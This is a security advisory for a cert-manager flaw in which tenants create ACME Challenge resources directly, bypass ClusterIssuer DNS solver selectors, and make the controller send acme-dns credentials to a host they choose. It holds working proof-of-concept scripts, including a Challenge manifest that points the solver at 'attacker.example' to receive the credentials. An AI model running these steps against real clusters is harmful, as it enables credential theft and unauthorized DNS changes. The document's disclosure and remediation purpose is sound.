cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.
## Summary
`Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration.
When the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace.
## Attack preconditions
- The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace.
- The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide.
- A usable `ClusterIssuer` exists in the cluster.
- The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`.
- The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
## Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
## Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object.
## Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for `challenges.acme.cert-manager.io`
## Affected versions tested
The issue was reproduced on:
- `master` commit `2c0f1a6a4`
- latest production release `v1.20.2` commit `e5b7b1845`
- `v1.19.5` commit `cda7b7896`
- `v1.18.6` commit `4699caabb`
See `VERSION_TEST_MATRIX.md` for the command matrix and outputs.
## Technical details
Relevant code paths:
- `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create.
- `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`.
- `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges.
- `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`.
- `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge.
- `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument.
- `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`.
- `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace.
- `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`.
- `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled.
- `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`.
The normal `Order` flow selects a solver from the Issuer:
- `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated.
- `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected.
- `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge.
The direct `Challenge` flow skips that selection entirely because the direct object already contains a solver.
## Proof of concept
### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
```bash
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: [email protected]
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: challenge-create-only
namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
resources: ["challenges"]
verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: bob-challenge-create-only
namespace: tenant
subjects:
- kind: ServiceAccount
name: bob
namespace: tenant
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: challenge-create-only
YAML
echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"
docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
-o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'
```
Expected output:
```text
bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account
```
This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.
### PoC B: acme-dns provider sends referenced credentials to the configured host
This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.
Run from repository root:
```bash
set -euo pipefail
cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
var gotUser, gotKey, gotPath string
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotUser = r.Header.Get("X-Api-User")
gotKey = r.Header.Get("X-Api-Key")
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`{"txt":"ok"}`))
}))
defer ts.Close()
accountJSON := []byte(`{
"victim.example.com": {
"username": "victim-user",
"password": "victim-pass",
"fulldomain": "x.example.org",
"subdomain": "x"
}
}`)
provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
if err != nil {
t.Fatal(err)
}
if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
t.Fatal(err)
}
if gotPath != "/update" {
t.Fatalf("path = %q, want /update", gotPath)
}
if gotUser != "victim-user" {
t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
}
if gotKey != "victim-pass" {
t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
}
}
EOF
docker run --rm \
-v "$PWD":/repo \
-v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
-v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
-w /repo golang:1.26-bookworm \
go test ./pkg/issuer/acme/dns/acmedns \
-run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
-count=1 -v
rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go
```
Expected output:
```text
=== RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
```
Combined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.
## Credential impact scope
The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON.
For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.
## Expected behavior
Users should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.
## Actual behavior
A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings.
## Suggested remediation
Possible mitigations:
- Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge.
- Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
- Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary.
- Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.
cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials in github.com/cert-manager/cert-manager
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cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials in github.com/cert-manager/cert-manager
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under …